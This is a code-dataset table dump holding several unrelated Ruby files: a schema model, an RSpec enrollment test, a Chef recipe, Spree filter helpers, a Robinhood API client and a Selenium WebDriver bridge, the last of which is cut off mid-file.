hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
016f431aa10688d8e5fae823edc9c8fad3210019 | 1,825 | module OpenActive
module Models
module Schema
class PriceSpecification < ::OpenActive::Models::Schema::StructuredValue
# @!attribute type
# @return [String]
def type
"schema:PriceSpecification"
end
# @return [Boolean,nil]
define_property :value_added_tax_included, as: "valueAddedTaxIncluded", types: [
"bool",
"null",
]
# @return [String,BigDecimal,nil]
define_property :price, as: "price", types: [
"string",
"Number",
"null",
]
# @return [Date,DateTime,nil]
define_property :valid_through, as: "validThrough", types: [
"Date",
"DateTime",
"null",
]
# @return [DateTime,Date,nil]
define_property :valid_from, as: "validFrom", types: [
"DateTime",
"Date",
"null",
]
# @return [OpenActive::Models::Schema::QuantitativeValue]
define_property :eligible_quantity, as: "eligibleQuantity", types: [
"OpenActive::Models::Schema::QuantitativeValue",
]
# @return [String]
define_property :price_currency, as: "priceCurrency", types: [
"string",
]
# @return [BigDecimal,nil]
define_property :max_price, as: "maxPrice", types: [
"Number",
"null",
]
# @return [OpenActive::Models::Schema::PriceSpecification]
define_property :eligible_transaction_volume, as: "eligibleTransactionVolume", types: [
"OpenActive::Models::Schema::PriceSpecification",
]
# @return [BigDecimal,nil]
define_property :min_price, as: "minPrice", types: [
"Number",
"null",
]
end
end
end
end
| 26.838235 | 95 | 0.547397 |
1abfd60f3edfd6bef16c8ed79b0188bfcffd1c5b | 10,720 | require 'rails_helper'
require "#{BenefitSponsors::Engine.root}/spec/shared_contexts/benefit_market.rb"
require "#{BenefitSponsors::Engine.root}/spec/shared_contexts/benefit_application.rb"
RSpec.describe GroupSelectionPrevaricationAdapter, dbclean: :after_each, :if => ::EnrollRegistry[:aca_shop_market].enabled? do
include_context "setup benefit market with market catalogs and product packages"
include_context "setup initial benefit application"
include_context "setup employees with benefits"
let(:product_kinds) { [:health, :dental] }
let(:dental_sponsored_benefit) { true }
let(:roster_size) { 2 }
let(:current_effective_date) { start_on }
let(:start_on) { TimeKeeper.date_of_record.prev_month.beginning_of_month }
let(:effective_period) { start_on..start_on.next_year.prev_day }
let(:ce) { benefit_sponsorship.census_employees.non_business_owner.first }
let!(:family) {
person = FactoryBot.create(:person, last_name: ce.last_name, first_name: ce.first_name)
employee_role = FactoryBot.create(:employee_role, person: person, census_employee: ce, employer_profile: abc_profile)
ce.update_attributes({employee_role: employee_role})
Family.find_or_build_from_employee_role(employee_role)
}
let(:person) { family.primary_applicant.person }
let(:employee_role) { person.active_employee_roles.first }
let(:group_selection_params) { {
"person_id"=> person.id,
"market_kind"=>"shop",
"employee_role_id"=> employee_role.id,
"coverage_kind"=>"dental",
"change_plan"=>"change_by_qle"
} }
let(:params) { ActionController::Parameters.new(group_selection_params) }
let(:enrollment_effective_date) { TimeKeeper.date_of_record.next_month.beginning_of_month }
subject(:adapter) { GroupSelectionPrevaricationAdapter.initialize_for_common_vars(params) }
describe ".is_eligible_for_dental?" do
context "when employee making changes to existing enrollment" do
let!(:hbx_enrollment) {
FactoryBot.create(:hbx_enrollment,
household: family.active_household,
family: family,
coverage_kind: "dental",
effective_on: enrollment_effective_date,
enrollment_kind: "open_enrollment",
kind: "employer_sponsored",
employee_role_id: person.active_employee_roles.first.id,
benefit_group_assignment_id: ce.active_benefit_group_assignment.id,
benefit_sponsorship: benefit_sponsorship,
sponsored_benefit_package: current_benefit_package,
sponsored_benefit: current_benefit_package.sponsored_benefit_for("dental"),
product: dental_product_package.products[0]
)
}
let(:params) { ActionController::Parameters.new(
group_selection_params.merge({
"hbx_enrollment_id"=>hbx_enrollment.id,
"change_plan"=>"change_plan"
})
)}
it "checks if dental offered using existing enrollment benefit package and returns true" do
result = adapter.is_eligible_for_dental?(employee_role, 'change_plan', hbx_enrollment, enrollment_effective_date)
expect(result).to be_truthy
end
end
context "when employee purchasing coverage through qle" do
let(:qualifying_life_event_kind) { FactoryBot.create(:qualifying_life_event_kind, :effective_on_event_date) }
let(:qle_on) { TimeKeeper.date_of_record - 2.days }
let!(:special_enrollment_period) {
special_enrollment = family.special_enrollment_periods.build({
qle_on: qle_on,
effective_on_kind: "date_of_event",
})
special_enrollment.qualifying_life_event_kind = qualifying_life_event_kind
special_enrollment.save!
special_enrollment
}
context "employer offering dental" do
it "checks if dental eligible using SEP and returns true" do
result = adapter.is_eligible_for_dental?(employee_role, 'change_by_qle', nil, qle_on)
expect(result).to be_truthy
end
end
context "employer not offering dental" do
let(:dental_sponsored_benefit) { false }
it "checks if dental eligible using SEP and returns false" do
result = adapter.is_eligible_for_dental?(employee_role, 'change_by_qle', nil, qle_on)
expect(result).to be_falsey
end
end
end
context "When employee purchasing coverage through future application using qle" do
let(:qualifying_life_event_kind) { FactoryBot.create(:qualifying_life_event_kind, :effective_on_event_date) }
let(:qle_on) { TimeKeeper.date_of_record - 2.days }
let(:start_on) { TimeKeeper.date_of_record.next_month.beginning_of_month }
let!(:special_enrollment_period) {
special_enrollment = family.special_enrollment_periods.build({
qle_on: qle_on,
effective_on_kind: "date_of_event",
})
special_enrollment.qualifying_life_event_kind = qualifying_life_event_kind
special_enrollment.save!
special_enrollment
}
context "employer offering dental" do
it "returns true" do
result = adapter.is_eligible_for_dental?(employee_role, 'change_by_qle', nil, qle_on)
expect(result).to be_truthy
end
end
context "employer not offering dental" do
let(:dental_sponsored_benefit) { false }
it "returns false" do
result = adapter.is_eligible_for_dental?(employee_role, 'change_by_qle', nil, qle_on)
expect(result).to be_falsey
end
end
end
end
context 'set_mc_variables for coverall' do
let(:product) {FactoryBot.create(:benefit_markets_products_health_products_health_product)}
let!(:hbx_enrollment) do
FactoryBot.create(:hbx_enrollment,
household: family.active_household,
family: family,
coverage_kind: 'health',
effective_on: enrollment_effective_date,
enrollment_kind: 'special_enrollment',
kind: 'coverall',
product: product)
end
let(:group_selection_params) do
{
:person_id => person.id,
:market_kind => 'coverall',
:coverage_kind => 'health',
:change_plan => 'change_plan',
:hbx_enrollment_id => hbx_enrollment.id
}
end
let(:params2) { ActionController::Parameters.new(group_selection_params) }
subject(:adapter2) { GroupSelectionPrevaricationAdapter.initialize_for_common_vars(params2) }
it 'should set market' do
adapter2.set_mc_variables do |market_kind, coverage_kind|
m_kind = market_kind
c_kind = coverage_kind
expect(m_kind).to eq 'coverall'
expect(c_kind).to eq 'health'
end
end
end
context '.if_family_has_active_shop_sep' do
let(:person1) { FactoryBot.create(:person, :with_family, :with_employee_role, first_name: "mock")}
let(:family1) { person1.primary_family }
let(:family_member_ids) {{"0" => family1.family_members.first.id}}
let!(:new_household) {family1.households.where(:id => {"$ne" => family.households.first.id.to_s}).first}
let(:start_on) { TimeKeeper.date_of_record }
let(:benefit_package) {hbx_enrollment.sponsored_benefit_package}
let(:special_enrollment_period) {[double("SpecialEnrollmentPeriod")]}
let!(:sep) do
family1.special_enrollment_periods.create(
qualifying_life_event_kind: qle,
qle_on: qle.created_at,
effective_on_kind: qle.event_kind_label,
effective_on: benefit_package.effective_period.min,
start_on: start_on,
end_on: start_on + 30.days
)
end
let(:product) {FactoryBot.create(:benefit_markets_products_health_products_health_product)}
let!(:hbx_enrollment) do
FactoryBot.create(:hbx_enrollment,
household: family.active_household,
family: family,
coverage_kind: 'health',
effective_on: enrollment_effective_date,
enrollment_kind: 'special_enrollment',
kind: 'employer_sponsored',
sponsored_benefit_package_id: initial_application.benefit_packages.first.id,
product: product)
end
let(:group_selection_params) do
{
:person_id => person1.id,
:employee_role_id => person1.employee_roles.first.id,
:market_kind => "shop",
:change_plan => "change_plan",
:hbx_enrollment_id => hbx_enrollment.id,
:family_member_ids => family_member_ids,
:enrollment_kind => 'special_enrollment',
:coverage_kind => hbx_enrollment.coverage_kind
}
end
let(:params2) { ActionController::Parameters.new(group_selection_params) }
subject(:adapter2) { GroupSelectionPrevaricationAdapter.initialize_for_common_vars(params2) }
context 'change_plan for shop qle' do
let(:qle) do
QualifyingLifeEventKind.create(
title: "Married",
tool_tip: "Enroll or add a family member because of marriage",
action_kind: "add_benefit",
event_kind_label: "Date of married",
market_kind: "shop",
ordinal_position: 15,
reason: "marriage",
edi_code: "32-MARRIAGE",
effective_on_kinds: ["first_of_next_month"],
pre_event_sep_in_days: 0,
post_event_sep_in_days: 30,
is_self_attested: true
)
it 'should set change_plan' do
expect(adapter2.change_plan).to eq 'change_plan'
adapter2.if_family_has_active_shop_sep do
expect(adapter2.change_plan).to eq 'change_by_qle'
end
end
end
end
context 'change_plan for fehb qle' do
let(:qle) do
QualifyingLifeEventKind.create(
title: "Married",
tool_tip: "Enroll or add a family member because of marriage",
action_kind: "add_benefit",
event_kind_label: "Date of married",
market_kind: "fehb",
ordinal_position: 15,
reason: "marriage",
edi_code: "32-MARRIAGE",
effective_on_kinds: ["first_of_next_month"],
pre_event_sep_in_days: 0,
post_event_sep_in_days: 30,
is_self_attested: true,
is_active: true
)
end
it 'should set change_plan' do
expect(adapter2.change_plan).to eq 'change_plan'
adapter2.if_family_has_active_shop_sep do
expect(adapter2.change_plan).to eq 'change_by_qle'
end
end
end
end
end
| 38.014184 | 126 | 0.66959 |
e945b374c6de80a8e045a96e1148fa004f23c65f | 1,112 | # include helper methods
class ::Chef::Recipe
include ::Opscode::ChefClient::Helpers
end
# libraries/helpers.rb method to DRY directory creation resources
client_bin = find_chef_client
Chef::Log.debug("Found chef-client in #{client_bin}")
node.default['chef_client']['bin'] = client_bin
create_chef_directories
dist_dir, conf_dir = value_for_platform_family(
%w(amazon rhel fedora) => %w( redhat sysconfig ),
%w(debian) => %w( debian default ),
%w(suse) => %w( suse sysconfig )
)
template '/etc/init.d/chef-client' do
source "#{dist_dir}/init.d/chef-client.erb"
mode '0755'
variables(client_bin: client_bin,
chkconfig_start_order: node['chef_client']['chkconfig']['start_order'],
chkconfig_stop_order: node['chef_client']['chkconfig']['stop_order'])
notifies :restart, 'service[chef-client]', :delayed
end
template "/etc/#{conf_dir}/chef-client" do
source "#{dist_dir}/#{conf_dir}/chef-client.erb"
mode '0644'
notifies :restart, 'service[chef-client]', :delayed
end
service 'chef-client' do
supports status: true, restart: true
action [:enable, :start]
end
| 30.054054 | 83 | 0.714029 |
2833e95cefc9159b57b0f03768b67b86519e4b44 | 2,991 | xml.instruct!
xml.programs {
#@channel.playlists.each { |pl|
@programs.each { |prog|
#prog = pl.program
xml.program {
xml.name prog.title
#xml.clips {
# prog.children.each {|sp|
# xml.clip {
# xml.name sp.title
# xml.filename sp.filename
# }
# }
#}
xml.clips {
prog.runlists.find(:all, :conditions => {:video => "KN"}).each {|rl|
cl = rl.content.split ";"
xml.clip {
xml.name cl[0]
xml.filename cl[1]
}
}
}
xml.TG {
prog.runlists.each {|rl|
next if !rl.tg || rl.tg.empty?
longtext=false
titleparam=""
cc=-1
rl.tg.each_line {|tg|
next if tg.empty?
next if longtext
next unless tg =~ /^[0-9]/
cc=cc+1
xml.TGClip {
nn = "?"
nn = "Ohjelman nimi" if rl.tg.start_with? "1;"
nn = "Nimiplanssi" if rl.tg.start_with? "2;"
nn = "Kokoruutu" if rl.tg.start_with? "3;"
nn = "Lopputekstit" if rl.tg.start_with? "4;"
nn = "Kanavalogo" if rl.tg.start_with? "5;"
xml.name nn
xml.filename ""
xml.parameters {
xml.parameter {
if tg.start_with? "1;"
xml.id "f" + cc.to_s
xml.label "ohjelman_nimi"
xml.value rl.tg[2..-1]
xml.type "INPUTBOX"
elsif tg.start_with? "2;"
tgg = tg.split ";"
xml.id "f" + cc.to_s
xml.label "nimiplanssi"
xml.value tgg[1]
titleparam = tgg[2]
titleparam ||= ""
cc=cc+1
xml.type "INPUTBOX"
elsif tg.start_with? "3;"
tgg = tg.split ";"
xml.id "f" + cc.to_s
xml.label "kokoruutu"
xml.value tgg[1]
xml.type "INPUTAREA"
elsif tg.start_with? "4;"
xml.id "f" + cc.to_s
xml.label "lopputekstit"
xml.value rl.tg[2..-1].gsub("\n", "<br />")
longtext = true
xml.type "INPUTAREA"
elsif tg.start_with? "5;"
xml.id "f" + cc.to_s
xml.label "kanavalogo_animaatio"
xml.value rl.tg[2..-1]
xml.type "INPUTBOX"
end
}
xml.parameter {
xml.id "f" + cc.to_s
xml.label "titteli"
xml.value titleparam
xml.type "INPUTBOX"
} unless titleparam.empty?
}
}
}
}
}
}
}
}
| 29.613861 | 76 | 0.386827 |
7ac700737cd118fce5be92896faa8943dbbe8521 | 689 | module VagrantPlugins
module Bindler
module LocalPluginsManifestExt
PLUGINS_LOOKUP = [
ENV['VAGRANT_PLUGINS_FILENAME'],
'vagrant/plugins.json',
'vagrant/plugins.yml',
'.vagrant_plugins.json',
'.vagrant_plugins.yml',
'plugins.json',
'plugins.yml'
].compact
def bindler_plugins_file
@bindler_plugins_file ||= PLUGINS_LOOKUP.map do |path|
plugins = cwd.join(path)
plugins if plugins.file?
end.compact.first
end
def bindler_plugins
@bindler_plugins ||= bindler_plugins_file ? YAML.parse(bindler_plugins_file.read).to_ruby : {}
end
end
end
end
| 25.518519 | 102 | 0.624093 |
f789e9850530476f2ff8a3341b59a8388141721e | 6,364 | module Spree
module ProductsFiltersHelper
PRICE_FILTER_NAME = 'price'.freeze
FILTER_LINK_CSS_CLASSES = 'd-inline-block text-uppercase py-1 px-2 m-1 plp-overlay-card-item'.freeze
ACTIVE_FILTER_LINK_CSS_CLASSES = 'plp-overlay-card-item--selected'.freeze
CLEAR_ALL_FILTERS_LINK_CSS_CLASSES = 'btn spree-btn btn-outline-primary w-100 mb-4'.freeze
def price_filters
@price_filters ||= [
filters_less_than_price_range(50),
filters_price_range(50, 100),
filters_price_range(101, 150),
filters_price_range(151, 200),
filters_price_range(201, 300),
filters_more_than_price_range(300)
]
end
def min_price_filter_input(**html_options)
price_filter_input(
name: :min_price,
value: filters_price_range_from_param.min_price.to_i,
placeholder: "#{currency_symbol(current_currency)} #{Spree.t(:min)}",
**html_options
)
end
def max_price_filter_input(**html_options)
price_filter_input(
name: :max_price,
value: filters_price_range_from_param.max_price.to_i,
placeholder: "#{currency_symbol(current_currency)} #{Spree.t(:max)}",
**html_options
)
end
def price_filter_input(name:, value:, placeholder:, **html_options)
price_value = value&.zero? ? '' : value
style_class = "spree-flat-input #{html_options[:class]}"
number_field_tag(
name, price_value,
id: name,
class: style_class,
min: 0, step: 1, placeholder: placeholder,
**html_options.except(:class)
)
end
def option_value_filter_link(option_value, permitted_params, opts = {})
id = option_value.id
ot_downcase_name = option_value.option_type.filter_param
selected_option_values = params[ot_downcase_name]&.split(',')&.map(&:to_i) || []
is_selected = selected_option_values.include?(id)
option_value_param = (is_selected ? selected_option_values - [id] : selected_option_values + [id]).join(',')
new_params = permitted_params.merge(ot_downcase_name => option_value_param, menu_open: 1)
link_to new_params, data: { params: new_params, id: id, filter_name: ot_downcase_name, multiselect: true } do
# TODO: refactor this
if color_option_type_name.present? && color_option_type_name.downcase == ot_downcase_name
content_tag :span, class: 'd-inline-block mb-1' do
render partial: 'spree/shared/color_select', locals: {
color: option_value.presentation,
selected: is_selected
}
end
else
filter_content_tag(option_value.name, opts.merge(is_selected: is_selected))
end
end
end
def property_value_filter_link(property, value, permitted_params, opts = {})
id = value.first
name = value.last
selected_properties = params.dig(:properties, property.filter_param)&.split(',') || []
is_selected = selected_properties.include?(id)
property_values = (is_selected ? selected_properties - [id] : selected_properties + [id])
url = permitted_params.merge(properties: { property.filter_param => property_values }, menu_open: 1)
filter_name = "properties[#{property.filter_param}]"
new_params = permitted_params.merge(filter_name => property_values, menu_open: 1)
base_filter_link(url, name, opts.merge(params: new_params, is_selected: is_selected, filter_name: filter_name, id: id, multiselect: true))
end
def price_filter_link(price_range, permitted_params, opts = {})
is_selected = params[:price] == price_range.to_param
price_param = is_selected ? '' : price_range.to_param
url = permitted_params.merge(price: price_param, menu_open: 1)
opts[:is_selected] ||= is_selected
content_tag :div do
base_filter_link(url, price_range, opts.merge(is_selected: is_selected, filter_name: PRICE_FILTER_NAME, id: price_param))
end
end
def product_filters_present?(permitted_params)
properties = permitted_params.fetch(:properties, {}).to_unsafe_h
flatten_params = permitted_params.to_h.merge(properties)
flatten_params.any? { |name, value| product_filter_present?(name, value) }
end
def clear_all_filters_link(permitted_params, opts = {})
opts[:css_class] ||= CLEAR_ALL_FILTERS_LINK_CSS_CLASSES
sort_by_param = permitted_params.slice(:sort_by)
link_to Spree.t('plp.clear_all'), sort_by_param, class: opts[:css_class], data: { params: sort_by_param }
end
private
def product_filter_present?(filter_param, filter_value)
filter_param.in?(product_filters_params) && filter_value.present?
end
def product_filters_params
options_filter_params = OptionType.filterable.map(&:filter_param)
properties_filter_params = Property.filterable.pluck(:filter_param)
options_filter_params + properties_filter_params + [PRICE_FILTER_NAME]
end
def base_filter_link(url, label, opts = {})
opts[:params] ||= url
link_to url, data: { filter_name: opts[:filter_name], id: opts[:id], params: opts[:params], multiselect: opts[:multiselect] } do
filter_content_tag(label, opts)
end
end
def filter_content_tag(label, opts = {})
opts[:css_class] ||= FILTER_LINK_CSS_CLASSES
opts[:css_active_class] ||= ACTIVE_FILTER_LINK_CSS_CLASSES
content_tag :div, class: "#{opts[:css_class]} #{opts[:css_active_class] if opts[:is_selected]}" do
label.to_s
end
end
def filters_price_range_from_param
Filters::PriceRangePresenter.from_param(params[:price].to_s, currency: current_currency)
end
def filters_price_range(min_amount, max_amount)
Filters::PriceRangePresenter.new(
min_price: filters_price(min_amount),
max_price: filters_price(max_amount)
)
end
def filters_less_than_price_range(amount)
Filters::QuantifiedPriceRangePresenter.new(price: filters_price(amount), quantifier: :less_than)
end
def filters_more_than_price_range(amount)
Filters::QuantifiedPriceRangePresenter.new(price: filters_price(amount), quantifier: :more_than)
end
def filters_price(amount)
Filters::PricePresenter.new(amount: amount, currency: current_currency)
end
end
end
| 37.656805 | 144 | 0.694846 |
330829d758c355fe2075f59f1a243121b5968221 | 6,630 | require 'json'
module Robinhood
module REST
class API
def account
raw_response = HTTParty.get(endpoints[:accounts], headers: headers)
JSON.parse(raw_response.body)
end
def investment_profile
raw_response = HTTParty.get(endpoints[:investment_profile], headers: headers)
JSON.parse(raw_response.body)
end
def fundamentals(ticker)
raw_response = HTTParty.get(endpoints[:fundamentals], query: {"symbols" => ticker.upcase}, headers: headers)
JSON.parse(raw_response.body)
end
def instruments(symbol)
raw_response = HTTParty.get(endpoints[:instruments], query: {"query" => symbol.upcase}, headers: headers)
JSON.parse(raw_response.body)
end
def quote_data(symbol)
raw_response = HTTParty.get(@api_url + "quotes/#{symbol}/", headers: headers)
JSON.parse(raw_response.body)
end
def user
raw_response = HTTParty.get(endpoints[:user], headers: headers)
JSON.parse(raw_response.body)
end
def dividends
raw_response = HTTParty.get(endpoints[:dividends], headers: headers)
JSON.parse(raw_response.body)
end
def orders
raw_response = HTTParty.get(endpoints[:orders], headers: headers)
JSON.parse(raw_response.body)
end
def buy(symbol, instrument_id, price, quantity)
raw_response = HTTParty.post(
endpoints[:orders],
body: {
"account" => @private.account,
"instrument" => @api_url + "instruments/#{instrument_id}/",
"price" => price,
"quantity" => quantity,
"side" => "buy",
"symbol" => symbol,
"time_in_force" => "gfd",
"trigger" => "immediate",
"type" => "market"
}.to_json,
headers: headers
)
end
def limit_buy(symbol, instrument_id, price, quantity)
raw_response = HTTParty.post(
endpoints[:orders],
body: {
"account" => @private.account,
"instrument" => @api_url + "instruments/#{instrument_id}/",
"price" => price,
"quantity" => quantity,
"side" => "buy",
"symbol" => symbol,
"time_in_force" => "gfd",
"trigger" => "immediate",
"type" => "limit"
}.to_json,
headers: headers
)
end
def sell(symbol, instrument_id, price, quantity)
raw_response = HTTParty.post(
endpoints[:orders],
body: {
"account" => @private.account,
"instrument" => @api_url + "instruments/#{instrument_id}/",
"price" => price,
"quantity" => quantity,
"side" => "sell",
"symbol" => symbol,
"time_in_force" => "gfd",
"trigger" => "immediate",
"type" => "market"
}.to_json,
headers: headers
)
end
def limit_sell(symbol, instrument_id, price, quantity)
raw_response = HTTParty.post(
endpoints[:orders],
body: {
"account" => @private.account,
"instrument" => @api_url + "instruments/#{instrument_id}/",
"price" => price,
"quantity" => quantity,
"side" => "sell",
"symbol" => symbol,
"time_in_force" => "gfd",
"trigger" => "immediate",
"type" => "limit"
}.to_json,
headers: headers
)
end
def stop_loss_sell(symbol, instrument_id, price, quantity)
raw_response = HTTParty.post(
endpoints[:orders],
body: {
"account" => @private.account,
"instrument" => @api_url + "instruments/#{instrument_id}/",
"stop_price" => price,
"quantity" => quantity,
"side" => "sell",
"symbol" => symbol,
"time_in_force" => "gtc",
"trigger" => "stop",
"type" => "market"
}.to_json,
headers: headers
)
end
def cancel_order(order_id)
raw_response = HTTParty.post(@api_url + "orders/#{order_id}/cancel/", headers: headers)
raw_response.code == 200
end
def positions(instrument_id)
raw_response = HTTParty.get(@private.account + "/positions/#{instrument_id}/", headers: headers)
JSON.parse(raw_response.body)
end
def positions
raw_response = HTTParty.get(endpoints[:positions], headers: headers)
JSON.parse(raw_response.body)
end
def news(symbol)
raw_response = HTTParty.get(endpoints[:news] + symbol.to_s + "/", headers: headers)
JSON.parse(raw_response.body)
end
def markets
raw_response = HTTParty.get(endpoints[:markets], headers: headers)
JSON.parse(raw_response.body)
end
def sp500_up
raw_response = HTTParty.get(endpoints[:sp500_up], headers: headers)
JSON.parse(raw_response.body)
end
def sp500_down
raw_response = HTTParty.get(endpoints[:sp500_down], headers: headers)
JSON.parse(raw_response.body)
end
# def create_watch_list(name, callback)
# return _request.post({
# uri: @api_url + @endpoints.watchlists,
# form: {
# name: name
# }
# }, callback);
# end
def watchlists
raw_response = HTTParty.get(endpoints[:watchlists], headers: headers)
JSON.parse(raw_response.body)
end
def splits(instrument)
raw_response = HTTParty.get(endpoints[:instruments] + "/splits/" + instrument.to_s, headers: headers)
JSON.parse(raw_response.body)
end
# GET /quotes/historicals/$symbol/[?interval=$i&span=$s&bounds=$b] interval=week|day|10minute|5minute|null(all) span=day|week|year|5year|all bounds=extended|regular|trading
# only certain combos work, such as:
# get_history :AAPL, "5minute", {span: "day"}
# get_history :AAPL, "10minute", {span: "week"}
# get_history :AAPL, "day", {span: "year"}
# get_history :AAPL, "week", {span: "5year"}
def historicals(symbol, intv)
raw_response = HTTParty.get(endpoints[:quotes] + "historicals/#{symbol}/?interval=#{intv}", headers: headers)
JSON.parse(raw_response.body)
end
private
def headers
Client.headers
end
def endpoints
Endpoints.endpoints
end
end
end
end | 31.273585 | 178 | 0.557315 |
3814a5a862f4bb9720bf3c2a4d3c6c9001441b8d | 190 | Joybox::TMX::ObjectLayer = CCTMXObjectGroup
class CCTMXObjectGroup
alias_method :name, :groupName
alias_method :offset, :positionOffset
def [](key)
objectNamed(key)
end
end | 15.833333 | 43 | 0.736842 |
39b012c6585f4fddb6defd93ab3bdde8a70bcba5 | 17,983 | # frozen_string_literal: true
# Licensed to the Software Freedom Conservancy (SFC) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The SFC licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
require 'json'
module Selenium
module WebDriver
module Remote
module W3C
#
# Low level bridge to the remote server implementing JSON wire
# protocol (W3C dialect), through which the rest of the API works.
# @api private
#
class Bridge < Remote::Bridge
def initialize(capabilities, session_id, **opts)
@capabilities = capabilities
@session_id = session_id
super(opts)
end
def dialect
:w3c
end
def commands(command)
case command
when :status
Remote::OSS::Bridge::COMMANDS[command]
else
COMMANDS[command]
end
end
def status
execute :status
end
def get(url)
execute :get, {}, {url: url}
end
def implicit_wait_timeout=(milliseconds)
timeout('implicit', milliseconds)
end
def script_timeout=(milliseconds)
timeout('script', milliseconds)
end
def timeout(type, milliseconds)
type = 'pageLoad' if type == 'page load'
execute :set_timeout, {}, {type => milliseconds}
end
#
# alerts
#
def accept_alert
execute :accept_alert
end
def dismiss_alert
execute :dismiss_alert
end
def alert=(keys)
execute :send_alert_text, {}, {value: keys.split(//), text: keys}
end
def alert_text
execute :get_alert_text
end
#
# navigation
#
def go_back
execute :back
end
def go_forward
execute :forward
end
def url
execute :get_current_url
end
def title
execute :get_title
end
def page_source
execute_script('var source = document.documentElement.outerHTML;' \
'if (!source) { source = new XMLSerializer().serializeToString(document); }' \
'return source;')
end
#
# Create a new top-level browsing context
# https://w3c.github.io/webdriver/#new-window
# @param type [String] Supports two values: 'tab' and 'window'.
# Use 'tab' if you'd like the new window to share an OS-level window
# with the current browsing context.
# Use 'window' otherwise
# @return [Hash] Containing 'handle' with the value of the window handle
# and 'type' with the value of the created window type
#
def new_window(type)
execute :new_window, {}, {type: type}
end
def switch_to_window(name)
execute :switch_to_window, {}, {handle: name}
end
def switch_to_frame(id)
id = find_element_by('id', id) if id.is_a? String
execute :switch_to_frame, {}, {id: id}
end
def switch_to_parent_frame
execute :switch_to_parent_frame
end
def switch_to_default_content
switch_to_frame nil
end
QUIT_ERRORS = [IOError].freeze
def quit
execute :delete_session
http.close
rescue *QUIT_ERRORS
end
def close
execute :close_window
end
def refresh
execute :refresh
end
#
# window handling
#
def window_handles
execute :get_window_handles
end
def window_handle
execute :get_window_handle
end
def resize_window(width, height, handle = :current)
raise Error::WebDriverError, 'Switch to desired window before changing its size' unless handle == :current
set_window_rect(width: width, height: height)
end
def window_size(handle = :current)
raise Error::UnsupportedOperationError, 'Switch to desired window before getting its size' unless handle == :current
data = execute :get_window_rect
Dimension.new data['width'], data['height']
end
def minimize_window
execute :minimize_window
end
def maximize_window(handle = :current)
raise Error::UnsupportedOperationError, 'Switch to desired window before changing its size' unless handle == :current
execute :maximize_window
end
def full_screen_window
execute :fullscreen_window
end
def reposition_window(x, y)
set_window_rect(x: x, y: y)
end
def window_position
data = execute :get_window_rect
Point.new data['x'], data['y']
end
def set_window_rect(x: nil, y: nil, width: nil, height: nil)
params = {x: x, y: y, width: width, height: height}
params.update(params) { |_k, v| Integer(v) unless v.nil? }
execute :set_window_rect, {}, params
end
def window_rect
data = execute :get_window_rect
Rectangle.new data['x'], data['y'], data['width'], data['height']
end
def screenshot
execute :take_screenshot
end
#
# HTML 5
#
def local_storage_item(key, value = nil)
if value
execute_script("localStorage.setItem('#{key}', '#{value}')")
else
execute_script("return localStorage.getItem('#{key}')")
end
end
def remove_local_storage_item(key)
execute_script("localStorage.removeItem('#{key}')")
end
def local_storage_keys
execute_script('return Object.keys(localStorage)')
end
def clear_local_storage
execute_script('localStorage.clear()')
end
def local_storage_size
execute_script('return localStorage.length')
end
def session_storage_item(key, value = nil)
if value
execute_script("sessionStorage.setItem('#{key}', '#{value}')")
else
execute_script("return sessionStorage.getItem('#{key}')")
end
end
def remove_session_storage_item(key)
execute_script("sessionStorage.removeItem('#{key}')")
end
def session_storage_keys
execute_script('return Object.keys(sessionStorage)')
end
def clear_session_storage
execute_script('sessionStorage.clear()')
end
def session_storage_size
execute_script('return sessionStorage.length')
end
def location
raise Error::UnsupportedOperationError, 'The W3C standard does not currently support getting location'
end
def set_location(_lat, _lon, _alt)
raise Error::UnsupportedOperationError, 'The W3C standard does not currently support setting location'
end
def network_connection
raise Error::UnsupportedOperationError, 'The W3C standard does not currently support getting network connection'
end
def network_connection=(_type)
raise Error::UnsupportedOperationError, 'The W3C standard does not currently support setting network connection'
end
#
# javascript execution
#
def execute_script(script, *args)
result = execute :execute_script, {}, {script: script, args: args}
unwrap_script_result result
end
def execute_async_script(script, *args)
result = execute :execute_async_script, {}, {script: script, args: args}
unwrap_script_result result
end
#
# cookies
#
def manage
@manage ||= WebDriver::W3CManager.new(self)
end
def add_cookie(cookie)
execute :add_cookie, {}, {cookie: cookie}
end
def delete_cookie(name)
execute :delete_cookie, name: name
end
def cookie(name)
execute :get_cookie, name: name
end
def cookies
execute :get_all_cookies
end
def delete_all_cookies
execute :delete_all_cookies
end
#
# actions
#
def action(async = false)
W3CActionBuilder.new self,
Interactions.pointer(:mouse, name: 'mouse'),
Interactions.key('keyboard'),
async
end
alias_method :actions, :action
def mouse
raise Error::UnsupportedOperationError, '#mouse is no longer supported, use #action instead'
end
def keyboard
raise Error::UnsupportedOperationError, '#keyboard is no longer supported, use #action instead'
end
def send_actions(data)
execute :actions, {}, {actions: data}
end
def release_actions
execute :release_actions
end
def click_element(element)
execute :element_click, id: element
end
def send_keys_to_element(element, keys)
# TODO: rework file detectors before Selenium 4.0
if @file_detector
local_files = keys.first.split("\n").map { |key| @file_detector.call(Array(key)) }.compact
if local_files.any?
keys = local_files.map { |local_file| upload(local_file) }
keys = Array(keys.join("\n"))
end
end
# Keep .split(//) for backward compatibility for now
text = keys.join('')
execute :element_send_keys, {id: element}, {value: text.split(//), text: text}
end
def upload(local_file)
unless File.file?(local_file)
WebDriver.logger.debug("File detector only works with files. #{local_file.inspect} isn`t a file!")
raise Error::WebDriverError, "You are trying to work with something that isn't a file."
end
execute :upload_file, {}, {file: Zipper.zip_file(local_file)}
end
def clear_element(element)
execute :element_clear, id: element
end
def submit_element(element)
form = find_element_by('xpath', "./ancestor-or-self::form", element)
execute_script("var e = arguments[0].ownerDocument.createEvent('Event');" \
"e.initEvent('submit', true, true);" \
'if (arguments[0].dispatchEvent(e)) { arguments[0].submit() }', form.as_json)
end
def drag_element(element, right_by, down_by)
execute :drag_element, {id: element}, {x: right_by, y: down_by}
end
def touch_single_tap(element)
execute :touch_single_tap, {}, {element: element}
end
